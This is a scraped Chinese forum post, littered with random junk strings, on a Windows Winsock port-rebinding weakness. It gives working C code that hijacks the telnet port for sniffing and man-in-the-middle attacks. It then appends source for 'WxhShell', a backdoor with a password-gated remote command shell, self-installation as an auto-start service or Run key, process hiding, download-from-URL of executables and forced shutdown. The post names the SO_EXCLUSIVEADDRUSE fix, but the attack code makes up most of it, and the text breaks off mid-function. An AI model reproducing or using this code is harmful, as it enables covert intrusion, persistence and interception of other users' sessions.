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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _% P%~`?!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N@VD-}E  
jzV#%O{`  
  saddr.sin_family = AF_INET; #Y:/^Q$_qS  
q^Z\V?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ZTun{Dw{  
ZDb`]c4(  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =SdWU}xn2  
LgaJp_d>9*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Ia\Nj _-%L  
#B?7{#.1  
  这意味着什么?意味着可以进行如下的攻击: (tz! "K  
4[#.N 3Y4*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 yTEuf@  
oM VJ+#[x  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) I@\{6hw  
ANNL7Z3C  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 zb4g\H 0  
F,W(H@ ~x  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  UWnH2  
WX[y cm8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Gnw>%f1@u  
RS1oPY  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 tY#^3ac  
y5#_@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 U".-C`4v  
&yN<@.  
  #include (UM+?]Qwy  
  #include h;lnc| Hw  
  #include ^\I$tnY`  
  #include    KV6S-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   l ghzd6  
  int main() w7C=R8^  
  { C+k>Ajr  
  WORD wVersionRequested; Bb o*  
  DWORD ret; ,..b)H5n  
  WSADATA wsaData; V1fPH;  
  BOOL val; bcYz?o6  
  SOCKADDR_IN saddr; zM'-2,  
  SOCKADDR_IN scaddr; 1-n0"lP~4  
  int err; d?K8Ygz  
  SOCKET s; !9 F+uc5  
  SOCKET sc; 5J;c;PF  
  int caddsize; g:EU\  
  HANDLE mt; 5Zov< +kE  
  DWORD tid;   71%u|k8|  
  wVersionRequested = MAKEWORD( 2, 2 ); p c],H  
  err = WSAStartup( wVersionRequested, &wsaData ); pIXQ/(h31  
  if ( err != 0 ) { jt3SA [cy  
  printf("error!WSAStartup failed!\n"); Ojs\2('u  
  return -1; (}:xs,Ax  
  } D8ly8]H  
  saddr.sin_family = AF_INET; |?> h$'  
   j7d;1 zB+G  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |2# Ro*  
bo2Od  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ua]zTMI  
  saddr.sin_port = htons(23); RBXoU'.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :q=OW1^k^  
  { UQFuEI<1-  
  printf("error!socket failed!\n"); krA))cP  
  return -1; PG!vn@b6  
  } ;W].j%]L e  
  val = TRUE; H]e 2d|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "DpQnhvbB  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) lg1D>=(mY  
  { tTgW^&B  
  printf("error!setsockopt failed!\n");  AMdS+(J  
  return -1; Ce:ds%  
  } bhmjH(.t  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; T!PX?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 hd~rC*I  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Z ux2VepT  
V'.|IuN  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) AqkK`iJ#  
  { .p`'^$X^  
  ret=GetLastError(); .yPx'_e  
  printf("error!bind failed!\n"); ;j=1 oW  
  return -1; ^= G+]$8  
  } Xhi?b|  
  listen(s,2); C)w *aU,(  
  while(1) c &HoS  
  { V*}zwm s6  
  caddsize = sizeof(scaddr); OT i3T1&  
  //接受连接请求 %Qq)=J<H ;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;>N ~ ,Q  
  if(sc!=INVALID_SOCKET) w C"%b#(}  
  { t^hkGYj!2  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 27:x5g?  
  if(mt==NULL) <.ky1aex7  
  { >gJWp@6V  
  printf("Thread Creat Failed!\n"); =Qrz|$_rv  
  break; x3 |'jmg  
  } Qs:r@"hE  
  } Vi WgX.  
  CloseHandle(mt); vuBA&j0C  
  } Kf#!IY][  
  closesocket(s); *.g?y6d  
  WSACleanup(); N&=2 /  
  return 0; QEa=!O  
  }   `x)bw  
  DWORD WINAPI ClientThread(LPVOID lpParam) Q%^bA,$&D  
  { /MH@>C _  
  SOCKET ss = (SOCKET)lpParam; ->=++  
  SOCKET sc; >N-%  
  unsigned char buf[4096]; ^<0NIu}  
  SOCKADDR_IN saddr; 6/ipdi[ _  
  long num; @~3c"q;i7  
  DWORD val; P qLqF5`S  
  DWORD ret; ^~ $&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 x35s6  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   rJp6d :M  
  saddr.sin_family = AF_INET; 7"ps#)O  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); r:4IKuTR  
  saddr.sin_port = htons(23); A'iF'<%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  twmJ  
  { ^]&{"!  
  printf("error!socket failed!\n"); )Cvzj<Q0  
  return -1; :<k|u!b}y  
  } 5KE%@,k k  
  val = 100; U^BXCu1km  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6xh#;+e }  
  { ID#qKFFW  
  ret = GetLastError(); ?3,tG z)  
  return -1; 2Q|*xd4B^  
  } FNCLGAiZ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x*8f3^ wE  
  { EZQ+HECpK  
  ret = GetLastError(); Pl& `&N;  
  return -1; IC.<)I  
  } a<jE 25t  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) nvo1+W(%  
  { :*:fu n  
  printf("error!socket connect failed!\n"); h?3l  
  closesocket(sc); p[F=LP  
  closesocket(ss); PJ'lZu8?x  
  return -1; 9$V_=Bo  
  } f\_!N "HW  
  while(1) vLFaZ^(  
  { ]!G>8Rc  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [Pwo,L,)  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .4re0:V  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 WfT)CIKs  
  num = recv(ss,buf,4096,0); 9'#.>Q>0=j  
  if(num>0) ro^6:w3O^  
  send(sc,buf,num,0); *R\/#Y|  
  else if(num==0) J*~2 :{=%  
  break; DT"Zq  
  num = recv(sc,buf,4096,0); ->2wrOH|H  
  if(num>0) +<WRB\W  
  send(ss,buf,num,0); P,;b'-5C  
  else if(num==0) JRjMt-7H_  
  break; b}&7~4zw  
  }  ]RX tC*  
  closesocket(ss); |8qK%n f}  
  closesocket(sc); Z++Z@J"  
  return 0 ; >+jbMAYSq  
  } eIUuq&(  
UG"6RW @  
R-A'v&=  
========================================================== *JY`.t  
Ns|V7|n]  
下边附上一个代码,,WXhSHELL E7NbPNd  
g\\1C2jG  
========================================================== ZA_zKJ[[7  
E/8u'  
#include "stdafx.h" Z"n'/S:q  
o~o6S=4,}  
#include <stdio.h> UC+7-y,  
#include <string.h> C*EhexK,}  
#include <windows.h> ua$k^m7m5  
#include <winsock2.h> A |taP$ %  
#include <winsvc.h> IglJEH[+  
#include <urlmon.h> przubMt  
Cb )=n6  
#pragma comment (lib, "Ws2_32.lib") fY%M=,t3c  
#pragma comment (lib, "urlmon.lib") Q@e*$<3  
)+w/\~@  
#define MAX_USER   100 // 最大客户端连接数 8yE%X!E  
#define BUF_SOCK   200 // sock buffer uhTKCR~  
#define KEY_BUFF   255 // 输入 buffer ;h,R?mU  
OC?Zw@  
#define REBOOT     0   // 重启 T@Ss&eGT2  
#define SHUTDOWN   1   // 关机 ;zZ,3pl-E  
j(Fa=pi  
#define DEF_PORT   5000 // 监听端口 q?;*g@t  
O>SuZ>g+7  
#define REG_LEN     16   // 注册表键长度 rw5#e.~V  
#define SVC_LEN     80   // NT服务名长度 c_ qcb7<~.  
462!;/ y  
// 从dll定义API waXDGdl0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W s^+7u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nszpG1U:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g{A3W) [ b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i>tW|N  
&\"Y/b]  
// wxhshell配置信息 } g3HoFC  
struct WSCFG { x1m8~F  
  int ws_port;         // 监听端口 wGOMUWAt  
  char ws_passstr[REG_LEN]; // 口令 Jw:Fj {D  
  int ws_autoins;       // 安装标记, 1=yes 0=no q)K-vt)98  
  char ws_regname[REG_LEN]; // 注册表键名 IwTr'}XIw  
  char ws_svcname[REG_LEN]; // 服务名 I"8d5a}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 YW8K $W  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 < -Hs<T|tW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }.fL$,7a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3AdP^B<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6C:x6'5[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9,S,NvSq  
!sg%6H?}  
}; tk`: CT *  
jo,6Aog|u  
// default Wxhshell configuration Po Yr:=S?  
struct WSCFG wscfg={DEF_PORT, \g~ws9'~  
    "xuhuanlingzhe", VFilF<jvu  
    1, \3%W_vU_  
    "Wxhshell", *C4~}4WT\  
    "Wxhshell", ojN`#%X  
            "WxhShell Service", I$aXnd6)  
    "Wrsky Windows CmdShell Service", s~'9Hv9  
    "Please Input Your Password: ", (y=dR1p  
  1, /yx=7<  
  "http://www.wrsky.com/wxhshell.exe", vn|TiZ  
  "Wxhshell.exe" W.yV/fu  
    }; ..??O^   
t *o7,  
// 消息定义模块 m5e\rMN~>\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l*QIoRYFW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tegOT]|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *mf}bTiS  
char *msg_ws_ext="\n\rExit."; AU0$A403  
char *msg_ws_end="\n\rQuit."; pt=7~+r  
char *msg_ws_boot="\n\rReboot..."; 2#'rk'X,K  
char *msg_ws_poff="\n\rShutdown..."; |tG05+M  
char *msg_ws_down="\n\rSave to "; OF-E6bc  
nped  
char *msg_ws_err="\n\rErr!"; >ysriPnQ  
char *msg_ws_ok="\n\rOK!"; H!Wis3S3G  
IKvd!,0xf  
char ExeFile[MAX_PATH]; L5R `w&Up  
int nUser = 0; B`LD7]ew  
HANDLE handles[MAX_USER]; dj3|f{kg{  
int OsIsNt; Lqg] Fd  
b+W)2rFO  
SERVICE_STATUS       serviceStatus; grGhN q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'n>K^rA  
fG<Dhz@  
// 函数声明 k& OC&  
int Install(void); IZ+ *`E  
int Uninstall(void); +z+ F-  
int DownloadFile(char *sURL, SOCKET wsh); (gLea  
int Boot(int flag); sjSi;S4  
void HideProc(void); Z#CxQ D%\  
int GetOsVer(void); \$'R+k-57;  
int Wxhshell(SOCKET wsl); 7`Qde!+C  
void TalkWithClient(void *cs); V:(y*tFA  
int CmdShell(SOCKET sock); U> W|(Y  
int StartFromService(void); F@g17aa  
int StartWxhshell(LPSTR lpCmdLine); j(&GVy^;?  
g&Z"_7L~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O97VdNT8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9p5= _  
c2/"KT  
// 数据结构和表定义 *K`x;r  
SERVICE_TABLE_ENTRY DispatchTable[] = { AFf:[G  
{ Umij!=GPG^  
{wscfg.ws_svcname, NTServiceMain}, d60c$?"]a(  
{NULL, NULL} cxgE\4_u"  
}; X) 8e4~(?  
87pnSj/X"  
// 自我安装 en%J!<&W{K  
int Install(void) 46ILs1T6  
{ ;r3}g"D@  
  char svExeFile[MAX_PATH]; iZC>)&ax  
  HKEY key; \/n+j!  
  strcpy(svExeFile,ExeFile); Z A[)  
b(/j\NWC  
// 如果是win9x系统,修改注册表设为自启动 }4Zkf<#7$  
if(!OsIsNt) { |hc\jb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B4IBuS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M%3Wy"YQ,n  
  RegCloseKey(key); d bCNhbN(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hzq5![/sV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z4bN)W )p  
  RegCloseKey(key); \Yd4gaY\o  
  return 0; RJ@\W=aZ  
    } ~JLYhA^'+<  
  } -A}zJBcR  
} N\'TR6_,b  
else { ^,`M0g\$  
*U_S1>0n  
// 如果是NT以上系统,安装为系统服务 C!5I?z&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {tc57jsr  
if (schSCManager!=0) ;?zF6zvQ  
{ Z&-tMai;  
  SC_HANDLE schService = CreateService V3Yd&HVWNQ  
  ( !j0_ cA  
  schSCManager, sCkO0dl8  
  wscfg.ws_svcname, 7k'gt/#up  
  wscfg.ws_svcdisp, NCn`}QP  
  SERVICE_ALL_ACCESS, @`S.@^%7fO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , < <sE`>)  
  SERVICE_AUTO_START, Q(e{~ ]*  
  SERVICE_ERROR_NORMAL, ~;8I5Sge  
  svExeFile, J+|/-{g  
  NULL, l~ D\;F  
  NULL, F\-Si!~oOz  
  NULL, rI>LjHP  
  NULL, z0 \N{rP&  
  NULL T)~!mifX  
  ); AuXs B  
  if (schService!=0) l sr?b  
  { l|q%%W0  
  CloseServiceHandle(schService); toIYE*ocv=  
  CloseServiceHandle(schSCManager); nA+F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'g hys1H  
  strcat(svExeFile,wscfg.ws_svcname); G|*G9nQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /tZ0 |B(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #A )Ab%r8"  
  RegCloseKey(key); I0_Ecp  
  return 0; #x)8f3I  
    } WqQU@sA  
  } Ha218Hy0W  
  CloseServiceHandle(schSCManager); }LQC.!  
} B`1kGEx .  
} n}q$f|4!  
\c% g M1  
return 1; yLqF ,pvO  
} !}t-j3bCs  
h/?6=D{  
// 自我卸载 9`Vc  
int Uninstall(void) 9go))&`PJL  
{ o(fyd)t  
  HKEY key; #c:kCZt#  
4.w"(v9V  
if(!OsIsNt) { J|5Ay1eF-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E}YI WTX  
  RegDeleteValue(key,wscfg.ws_regname); AY88h$a  
  RegCloseKey(key); EEwWucQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x.UaQ |F  
  RegDeleteValue(key,wscfg.ws_regname); p+Lv=e)0u  
  RegCloseKey(key); g "*;nHI D  
  return 0; 4Jykos2  
  } RRzP* A%=  
} VB"(9O]  
} th 2<o5  
else { taDQ65  
8,*3zVk-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $.8 H>c  
if (schSCManager!=0) CXAVGO'xw  
{ 6t m \L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m\-PU z&C  
  if (schService!=0) V3uXan_  
  { X"<|Z]w  
  if(DeleteService(schService)!=0) { B9#;-QO  
  CloseServiceHandle(schService); +t"j-}xzE  
  CloseServiceHandle(schSCManager); _ECB^s_  
  return 0; >rf5)Y~f  
  } h<NRE0-  
  CloseServiceHandle(schService); L~&" aF/b  
  } '[ 0YIn  
  CloseServiceHandle(schSCManager); (STx$cya  
} qm%nIU \*  
} s MZ[d\  
(U9a@ 1  
return 1; KB[QZ`"%!  
} %5Rq1$D  
 hY=I5[*  
// 从指定url下载文件 ;_tO+xL&  
int DownloadFile(char *sURL, SOCKET wsh) vr4S9`,  
{ _yVPpA[a  
  HRESULT hr; 88o:NJ}_  
char seps[]= "/"; Zi{0-m6+  
char *token; i@,]Z~]  
char *file; I7G,`h+H  
char myURL[MAX_PATH]; vGN3 YcH  
char myFILE[MAX_PATH]; I%xn,u  
U ~1 SF  
strcpy(myURL,sURL); uvv.WbZ  
  token=strtok(myURL,seps); ny1 \4C  
  while(token!=NULL) SdI1}&  
  { p+<}Y DMb  
    file=token; [h HG .  
  token=strtok(NULL,seps); Pz`hX$  
  } _9kIRmT{  
t?3BCm$Mi  
GetCurrentDirectory(MAX_PATH,myFILE); YoAg  
strcat(myFILE, "\\"); ikHOqJ-,m  
strcat(myFILE, file); bU+9Gi@v  
  send(wsh,myFILE,strlen(myFILE),0); [`nY2[A$  
send(wsh,"...",3,0); woau'7}XOu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); . r `[  
  if(hr==S_OK) q[c Etp28h  
return 0; V(..8}LlD  
else 5f_7&NxT  
return 1; oMc1:=EG  
x'i0KF   
} v[L[A3`"/  
,q</@}.\wN  
// 系统电源模块 ) ,Npv3(  
int Boot(int flag) +^gO/ 0  
{ $G3@< BIN  
  HANDLE hToken; @L8;VSI  
  TOKEN_PRIVILEGES tkp; O`(U/?   
ZNL5({lv  
  if(OsIsNt) { ]M\q0>HoJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <Uwwux<v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |Puj7Ru  
    tkp.PrivilegeCount = 1; r|-J8s#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `M]BhW)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +WL  D  
if(flag==REBOOT) { #(dhBEXPW;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sam[s4@eQ  
  return 0; tN!Bvj:C[M  
} j@t{@Ke  
else { f?-J#x)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :rmauKR  
  return 0; L*^ V5^-  
} w4A#>;Qu*  
  } NWnWk  
  else { XtzOFx/  
if(flag==REBOOT) { `^%@b SE(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4if\5P:j  
  return 0; #ovM(Mld  
} JWWInuH  
else { PW)8aLU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ArX]L$ D  
  return 0; qK-qcPLsl  
} nX 8B;*p6b  
} |*1xrM:v~  
)f[C[Rd  
return 1; D-D #`  
} zzE]M}s  
N'a?wBBR  
// win9x进程隐藏模块 oX{@'B  
void HideProc(void) g-|Kyhr?=  
{ z L8J`W  
B G5X_s0/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )w3 ,   
  if ( hKernel != NULL ) Rdj8 *f  
  { cqjl5UB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J@gm@ jLc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1VGpq-4*j  
    FreeLibrary(hKernel); 0<3E  
  } n{$}#NdV  
$r):d  
return; XD 5n]AL  
} 7?,7TR2Ny  
L9$&-A9ix  
// 获取操作系统版本 LS{bg.e  
int GetOsVer(void) 7|{ B#  
{ @o60 c  
  OSVERSIONINFO winfo; ETxp# PZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P*7S3Td  
  GetVersionEx(&winfo); &M$Bt} <  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4?v$<=#21*  
  return 1; @]E]W#xAn  
  else PY2[ S[  
  return 0; <c(&T<$  
} m^'~&!ba  
z>7=k`x`:  
// 客户端句柄模块 )O9fhj)  
int Wxhshell(SOCKET wsl) WX ,p`>n  
{ tg3zXJ4k_  
  SOCKET wsh; 3Fgz)*Gu]  
  struct sockaddr_in client; eVrnVPkM  
  DWORD myID; [A|(A$jl  
K[*h+YO  
  while(nUser<MAX_USER) k{_1r;  
{ 40R"^*  
  int nSize=sizeof(client); <>VID E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k&yQ98H$K"  
  if(wsh==INVALID_SOCKET) return 1; p?}f|mQS)  
/9P^{ OZ;y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QjI#Cs}w  
if(handles[nUser]==0) 1]Gf)|  
  closesocket(wsh); y?"$(%3|  
else axOi 5  
  nUser++; 9U&~(;  
  } 0T(O'v}.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UE\%e9<l  
vf6`s\6  
  return 0; U[IQ1AEr  
} y2U/$%B)G  
yq1Gqbh l  
// 关闭 socket EK^JLvyT  
void CloseIt(SOCKET wsh) Ad^dF'SN  
{ uijq@yo8-  
closesocket(wsh); 3(MoXA*  
nUser--; $I\))*a  
ExitThread(0); (qJIu  
} _MGNKA6JI  
2TE\4j  
// 客户端请求句柄 bh{E&1sLh  
void TalkWithClient(void *cs) lB=(8.  
{ TihnSb  
nWKO8C>  
  SOCKET wsh=(SOCKET)cs; zB;'_[8M  
  char pwd[SVC_LEN]; ,NjX&A@  
  char cmd[KEY_BUFF]; rH[5~U  
char chr[1]; 5P-K *C&  
int i,j; W^^K0yn`@  
I).=v{@9V<  
  while (nUser < MAX_USER) { -b@v0%Q2M*  
SL6mNn9c  
if(wscfg.ws_passstr) { wYZy e^7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 976E3u"Vt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mk#>Dpy?  
  //ZeroMemory(pwd,KEY_BUFF); sGXp}{E9  
      i=0; ~C%2t{"  
  while(i<SVC_LEN) { @<hF.4,]  
x*NqA( r  
  // 设置超时 KK@ &q  
  fd_set FdRead; X(4s;i  
  struct timeval TimeOut; OG0r4^6Ly  
  FD_ZERO(&FdRead); `6 |i&w:b  
  FD_SET(wsh,&FdRead); /p[|DJo M  
  TimeOut.tv_sec=8; D-'i G%)kA  
  TimeOut.tv_usec=0; JQ~y- lt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W Atg  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N!tpzHXw  
8:Z@lp^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lc\>DH\n6  
  pwd=chr[0]; szf"|k!  
  if(chr[0]==0xd || chr[0]==0xa) { 6H(fk1E  
  pwd=0; }wvwZ`5t  
  break; 3$GY,B  
  } SZCF3m&pz  
  i++; 1"8Z y6t  
    } :iP>z}h  
( rA\_FOJ  
  // 如果是非法用户,关闭 socket 3!i. Fmo  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J xA^DH  
} y0/WA4,  
CBiU#h q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o0zc}mm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9oZ } h&  
!yoSMI-  
while(1) { w8eG;  
2rK-X_}  
  ZeroMemory(cmd,KEY_BUFF); Z7tU0  
d$2@,  
      // 自动支持客户端 telnet标准   }*fW!(*  
  j=0; Nrab*K(][  
  while(j<KEY_BUFF) { -X"5G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \zk?$'d  
  cmd[j]=chr[0]; ^CowJ(y(  
  if(chr[0]==0xa || chr[0]==0xd) { OaD Alrm  
  cmd[j]=0; r;&]?9)W0  
  break; Sqp;/&Ji  
  } LK'S)Jk  
  j++; XM$5S+e  
    } *r)zBr  
Hmz=/.$  
  // 下载文件 uM6CG0  
  if(strstr(cmd,"http://")) { @ A~B ,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n/9 LRZD|w  
  if(DownloadFile(cmd,wsh)) yj}bY?4I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Z*\1Ci  
  else R-r+=x&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5PPPd-'Z_  
  } O:oU`vE  
  else { @{J!6YGh  
SY!`a:It  
    switch(cmd[0]) { d-6sC@PB  
  -Z`(? k  
  // 帮助 )0 Y #-=.<  
  case '?': { dXA{+<!!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2 pM  
    break; "4Vi=*2V  
  } ZYwBw:y}y  
  // 安装 J)7,&Gc6  
  case 'i': { >5Q^9 9V  
    if(Install()) cM> G>Yzo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z/V`Z* fy  
    else B#qL$M,|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mJ6t.%'d  
    break; F"B<R~  
    } U<ku_(2"#  
  // 卸载 p?Z+z  
  case 'r': { `@f hge  
    if(Uninstall()) dK0}% ]i3#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4*N@=v  
    else *@bg/S K%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u):%5F/  
    break; E>l#0Zw  
    } ),D`ZRXS  
  // 显示 wxhshell 所在路径 s]nGpA[!  
  case 'p': { E i\J9zt  
    char svExeFile[MAX_PATH]; Y5h)l<P>B  
    strcpy(svExeFile,"\n\r"); KV^:sxU  
      strcat(svExeFile,ExeFile); uJ|5 Ve  
        send(wsh,svExeFile,strlen(svExeFile),0); 75hFyh;u  
    break; W G3mQ\k  
    } /H\^l.|vk  
  // 重启 E5Snl#Gl\0  
  case 'b': { WQIM2_=M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k2_6<v Z  
    if(Boot(REBOOT)) h|c:!VN@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~L \(/[  
    else { QN2*]+/h  
    closesocket(wsh); ;H m-,W  
    ExitThread(0); K*HVn2OV  
    } (04j4teE  
    break; eSvc/CU  
    } By"^ Z`EP4  
  // 关机 ) <}VP&:X  
  case 'd': { '$kS]U  
